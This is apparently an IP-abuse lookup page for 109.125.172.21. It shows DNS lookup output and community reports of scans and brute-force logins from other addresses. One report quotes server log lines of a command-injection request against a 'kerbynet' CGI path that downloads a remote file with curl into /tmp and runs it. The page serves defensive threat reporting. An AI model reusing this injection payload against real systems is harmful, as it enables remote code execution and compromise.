109.125.172.21

Basic Info

City: unknown

Region: unknown

Country: None

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:

Make a comment on this IP

No discussion about this IP yet. Click above link to make one.

Comments on same subnet:

IP	Type	Details	Datetime
109.125.172.86	attack	MultiHost/MultiPort Probe, Scan, Hack -	2019-12-18 00:25:28

Whois info:

Dig info:

; <<>> DiG 9.10.3-P4-Ubuntu <<>> 109.125.172.21
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 10116
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;109.125.172.21.			IN	A

;; AUTHORITY SECTION:
.			538	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022022801 1800 900 604800 86400

;; Query time: 56 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Mar 01 03:57:45 CST 2022
;; MSG SIZE  rcvd: 107

Host info

Host 21.172.125.109.in-addr.arpa. not found: 3(NXDOMAIN)

Nslookup info:

Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 21.172.125.109.in-addr.arpa: NXDOMAIN

Related IP info:

Related comments:

IP	Type	Details	Datetime
106.12.84.63	attackspam	2020-09-05T22:55:30.921013shield sshd\[19682\]: Invalid user tom from 106.12.84.63 port 48966 2020-09-05T22:55:30.931370shield sshd\[19682\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.12.84.63 2020-09-05T22:55:33.209048shield sshd\[19682\]: Failed password for invalid user tom from 106.12.84.63 port 48966 ssh2 2020-09-05T22:58:10.777600shield sshd\[19930\]: Invalid user dac from 106.12.84.63 port 32067 2020-09-05T22:58:10.787733shield sshd\[19930\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.12.84.63	2020-09-06 07:01:41
213.180.203.49	attackspam	Mailserver and mailaccount attacks	2020-09-06 06:45:30
104.244.79.241	attackspambots	(sshd) Failed SSH login from 104.244.79.241 (LU/Luxembourg/-): 5 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SSHD; Logs: Sep 5 17:44:12 server2 sshd[13186]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=104.244.79.241 user=root Sep 5 17:44:14 server2 sshd[13186]: Failed password for root from 104.244.79.241 port 45566 ssh2 Sep 5 17:44:15 server2 sshd[13186]: Failed password for root from 104.244.79.241 port 45566 ssh2 Sep 5 17:44:18 server2 sshd[13186]: Failed password for root from 104.244.79.241 port 45566 ssh2 Sep 5 17:44:20 server2 sshd[13186]: Failed password for root from 104.244.79.241 port 45566 ssh2	2020-09-06 06:41:07
164.132.46.14	attack	Sep 6 05:31:18 webhost01 sshd[30627]: Failed password for root from 164.132.46.14 port 55056 ssh2 ...	2020-09-06 07:00:55
80.82.77.245	attackbotsspam	Multiport scan : 7 ports scanned 1042 1047 1054 2054 2056 2638 3671	2020-09-06 07:02:54
203.248.175.71	attackspam	203.248.175.71 - - \[05/Sep/2020:20:04:50 +0200\] "GET /cgi-bin/kerbynet\?Section=NoAuthREQ\&Action=x509List\&type=\%22\;cd%20%2Ftmp\;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero\;sh%20zero\;%22 HTTP/1.0" 444 0 "-" "-" 203.248.175.71 - - \[05/Sep/2020:20:04:51 +0200\] "GET /cgi-bin/kerbynet\?Section=NoAuthREQ\&Action=x509List\&type=\%22\;cd%20%2Ftmp\;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero\;sh%20zero\;%22 HTTP/1.0" 444 0 "-" "-" 203.248.175.71 - - \[05/Sep/2020:20:04:51 +0200\] "GET /cgi-bin/kerbynet\?Section=NoAuthREQ\&Action=x509List\&type=\%22\;cd%20%2Ftmp\;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero\;sh%20zero\;%22 HTTP/1.0" 444 0 "-" "-" 203.248.175.71 - - \[05/Sep/2020:20:04:51 +0200\] "GET /cgi-bin/kerbynet\?Section=NoAuthREQ\&Action=x509List\&type=\%22\;cd%20%2Ftmp\;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero\;sh%20zero\;%22 HTTP/1.0" 444 0 "-" "-" 203.248.175.71 - - \[05/Sep/2020:20:04:51 +0200\] "GET /cgi-bin/kerbynet\?Section=NoAuthREQ\&Action=x509List\&type=\*%22\;cd%20%2Ftmp\;curl%	2020-09-06 06:50:04
185.220.103.6	attackbotsspam	$lgm	2020-09-06 06:39:35
61.147.53.136	attack	Cowrie Honeypot: Unauthorised SSH/Telnet login attempt with user "plexuser" at 2020-09-05T16:49:16Z	2020-09-06 07:03:12
31.217.5.13	attackspambots	31.217.5.13 - - [05/Sep/2020:16:57:42 +0000] "GET /wp-login.php HTTP/1.1" 301 599 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" ...	2020-09-06 06:33:54
185.147.212.8	attack	[2020-09-05 18:25:57] NOTICE[1194] chan_sip.c: Registration from '' failed for '185.147.212.8:49692' - Wrong password [2020-09-05 18:25:57] SECURITY[1233] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2020-09-05T18:25:57.257-0400",Severity="Error",Service="SIP",EventVersion="2",AccountID="338",SessionID="0x7f2ddc04e988",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/185.147.212.8/49692",Challenge="76837c96",ReceivedChallenge="76837c96",ReceivedHash="c4b900d6af0f448b2b2a5815bd5643ff" [2020-09-05 18:28:51] NOTICE[1194] chan_sip.c: Registration from '' failed for '185.147.212.8:53766' - Wrong password [2020-09-05 18:28:51] SECURITY[1233] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2020-09-05T18:28:51.105-0400",Severity="Error",Service="SIP",EventVersion="2",AccountID="1894",SessionID="0x7f2ddc3127f8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/185.147.212.8/5 ...	2020-09-06 06:34:10
38.27.134.206	attackspam	Brute force 53 attempts	2020-09-06 06:58:50
106.8.166.189	attackspam	2020-08-31 06:59:58 login_virtual_exim authenticator failed for (1bB66s) [106.8.166.189]: 535 Incorrect authentication data (set_id=strueber.stellpflug) ........ ----------------------------------------------- https://www.blocklist.de/en/view.html?ip=106.8.166.189	2020-09-06 06:54:31
185.220.100.255	attackspam	log:/img/meteo_804d_photo.jpg	2020-09-06 06:55:43
104.206.119.2	attackspam	Aug 31 06:40:58 mxgate1 postfix/postscreen[24409]: CONNECT from [104.206.119.2]:60811 to [176.31.12.44]:25 Aug 31 06:41:04 mxgate1 postfix/postscreen[24409]: PASS NEW [104.206.119.2]:60811 Aug 31 06:41:04 mxgate1 postfix/smtpd[24410]: warning: hostname iseedragon.com does not resolve to address 104.206.119.2: Name or service not known Aug 31 06:41:04 mxgate1 postfix/smtpd[24410]: connect from unknown[104.206.119.2] Aug 31 06:41:04 mxgate1 postfix/smtpd[24410]: DEA36A03F4: client=unknown[104.206.119.2] Aug 31 06:41:08 mxgate1 postfix/smtpd[24410]: disconnect from unknown[104.206.119.2] ehlo=1 mail=1 rcpt=1 data=1 quhostname=1 commands=5 Aug 31 06:41:08 mxgate1 postfix/postscreen[24409]: CONNECT from [104.206.119.2]:51121 to [176.31.12.44]:25 Aug 31 06:41:08 mxgate1 postfix/postscreen[24409]: PASS OLD [104.206.119.2]:51121 Aug 31 06:41:08 mxgate1 postfix/smtpd[24410]: warning: hostname iseedragon.com does not resolve to address 104.206.119.2: Name or service not known Aug........ -------------------------------	2020-09-06 06:51:07
144.217.72.135	attackbots	postfix	2020-09-06 07:07:59

Recently Reported IPs

109.125.171.163	109.125.173.28	109.125.173.49	109.125.174.222
109.125.174.90	109.125.192.28	109.125.212.115	109.125.201.201
109.125.180.45	109.125.181.48	109.125.194.114	109.125.212.133
109.125.212.126	109.125.205.134	109.125.204.129	109.125.192.251
109.125.212.34	109.125.213.141	109.125.213.178	109.125.225.15